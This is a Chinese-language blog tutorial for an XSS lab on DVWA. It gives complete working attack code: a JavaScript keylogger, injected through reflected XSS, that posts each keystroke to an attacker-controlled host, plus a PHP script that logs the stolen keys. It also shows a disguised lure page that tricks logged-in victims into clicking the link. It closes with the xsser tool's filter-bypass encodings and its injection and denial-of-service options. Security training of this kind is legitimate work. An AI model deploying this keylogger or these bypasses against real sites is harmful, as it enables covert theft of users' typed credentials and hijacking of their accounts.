第十三章—手动漏洞挖掘(十)——XSS(二)

XSS(二)

1.场景:键盘记录器
1.1 原理介绍
1.1.1 环境准备
#要执行的指令,10.0.0.140是kail这台虚机的ip,我们需要在该虚机上新建一个keylogger.js脚本文件
<script src="http://10.0.0.140/keylogger.js"></script>

#因为我们要把keylogger.js文件放到apache下,所以在创建keylogger.js脚本文件前,我们需要查询80端口是否被占用
netstat -pantu | gerp :80
#如果查询到有被占用,可以使用该命令杀掉该进程
kill -9 进程号

#开启apache服务
service apache2 start
#创建keylogger.js到/var/www/html目录下

在这里插入图片描述
keylogger.js内容:

#让客户端去执行键盘记录器,一旦键盘记录器的代码被客户端执行,在客户端浏览器当前页面上,用户使用者敲击的任何键盘动作都会被记录下来,发送到脚本代码中指定的url地址上,服务器端的keylogger文件就是用来接收客户端发给他的请求,这个请求里面可能包含客户端的各种机密信息,比如敲击动作。
document.onkeypress = function(evt){
	evt = evt || window.event
	key = String.fromCharCode(evt.charCode)
	if(key){
		var http = new XMLHttpRequest();
		var param = encodeURI(key)
		#指定服务器端接收数据的php文件
		http.open("POST","http://10.0.0.140/keylogger.php",true);
		http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
		http.send("key="+param);
	}
}

验证一下,保证js文件是可以访问的:
该段js内容就是让被攻击的客户端提交请求给攻击者的keylogger.php文件。所以还需要再创建一个keylogger.pgp文件,用来接收数据。
在这里插入图片描述

#在/var/www/html下创建keylogger.php文件
vi keylogger.php

#keylogger.php内容:
<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp=fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>

#在/var/www/html下创建keylog.txt文件
vi keylog.txt
#因为keylog.txt文件需要有写入权限,所以我们要修改权限
chmod 777 keylog.txt
1.1.2 执行指令

在dvwa的xss reflected模块中的输入框中输入:

<script src="http://10.0.0.140/keylogger.js"></script>

运行之后,随便敲击键盘,然后查看keylog.txt,我们可以看到数据已经被记录。

1.2举例介绍

为了欺骗客户端,我们可以发给客户端这样的链接:http://10.0.0.141/dvwa/vulnerabilities/xss_r/?name=%3Cscript+src%3D%22http%3A%2F%2F10.0.0.140%2Fkeylogger.js%22%3E%3C%2Fscript%3E#,客户端使用者即使没有安全意识,也会觉得奇怪怀疑。所以为了更好的达到攻击目的,我们可以再黑客自己的机器上创建一个a.html文件

#a.html文件内容,在/var/www/html目录下
<a href="http://10.0.0.141/dvwa/vulnerabilities/xss_r/?name=<script+src='http://10.0.0.140/keylogger.js'></script>">xss</a>
#第一个ip地址是应用的地址,第二个ip地址是我kail的这台机器

测试访问a.html是否成功:http://10.0.0.140/a.html
在这里插入图片描述
客户端受到欺骗必须有一个前提,他已经登录了这个应用,已经获得了相应的cookie,以他的身份登录应用可以执行相应的操作。点击xss之后进入该页面,然后我们向该页面敲击一些键盘字符
在这里插入图片描述
发现键盘敲击记录已经被记录下来了。
在这里插入图片描述

2.xsser工具

xsser工具支持命令行也支持图形化工具。
该工具除了最基本的对跨站脚本漏洞发现的能力之外,他还集成了大量的对服务器端过滤机制绕过的能力,即绕过服务器端输入筛选。
稍微注重安全的web应用都会在服务器端写正则去进行疑似跨站脚本漏洞利用代码的过滤程序,而基于正则的过滤,我们都可以通过各种方法绕过正则,让他的正则匹配不上我们输入的语法,来实现绕过过滤进行攻击的实现。xsser也集成了大量的绕过过滤的能力,简单来说他可以做10进制、16进制的编码,还可以调用各种各样的函数,例如unescape()函数来实现对服务器端过滤机制绕过的能力。

2.1安装xsser

使用git将xsser的安装包下载到本地,因为xsser的资源存放在git上,所以需要先安装git工具,安装kail的时候一般都默认安装,没有的话自行安装下。

#安装命令
git clone https://github.com/epsylon/xsser.git
#下载下来后你本地有一个以xsser命令的目录,先进入该目录中
cd xsser
python3 setup.py install
#运行xsser
xsser

在这里插入图片描述

2.2使用xsser
xsser --help  #查看帮助文档
#命令行的使用
#-g是get方法请求,-p时post方法请求
#把参数名称跟对应参数名称页面写到-g参数里
#-s 提交了多少次请求,提交了多少次跨站脚本漏洞的测试请求,在测试结束后做一个统计
#-v 显示详细信息,提交的所有过程,提交的什么payload的详细信息
xsser -u "http://10.0.0.141/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low;PHPSESSID=9bc0822c9206e916cf3f9aa339f63550" -s -v --reverse-check #因为当前页面需要登录之后才能访问,所以使用cookie
#检查被过滤的字符
--heuristic 

在这里插入图片描述
若是已经发现并确定了有漏洞,但是服务器端有各种过滤机制,很难利用它,此时可以对payload编码,目标是绕过服务器端筛选过滤。
xsser提供了这些对过滤机制进行编码绕过的方法:

        #方法函数
--Str   #user method String.FormCharCode()
--Une   #user Unescape() function
--Mix   #Mix String.FormCharCode() and Unescape()
--Dec   #use Decimal encoding
--Hex   #use Hexadecimal encoding
--Hes   #use Hexadecimal encoding,with semicolons
--Dwo   #encode vectors IP addresses in DWORD
--Doo   #encode vectors IP addresses in Octal
--Cem=CEM #Try-manually-different Character Encoding Mutations,多个,eg:--cem="Mix,Une,Str,Hex"
#注入技术
--coo   #向cookie注入
--xsa   #对agent注入
--xsr   #对referer注入
--dcp   #对数据控制协议注入
--dom   #对dom对象注入
--ind   #对http相应代码注入
--anchor   #使用anchor状态进行payload注入(针对dom shadows)
--phpids   #基于php的web安全框架,他可以对php站点来实现入侵检测的框架,在0.6.5版本是有bug的,可以绕过成功过滤机制
--doss   #实现服务器拒绝服务攻击
--dos   #实现客户端拒绝服务攻击
--b64   #进行base64的编码
--onm   #移动鼠标时会触发利用脚本payload的执行
--ifr   #利用<iframe>标签注入
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值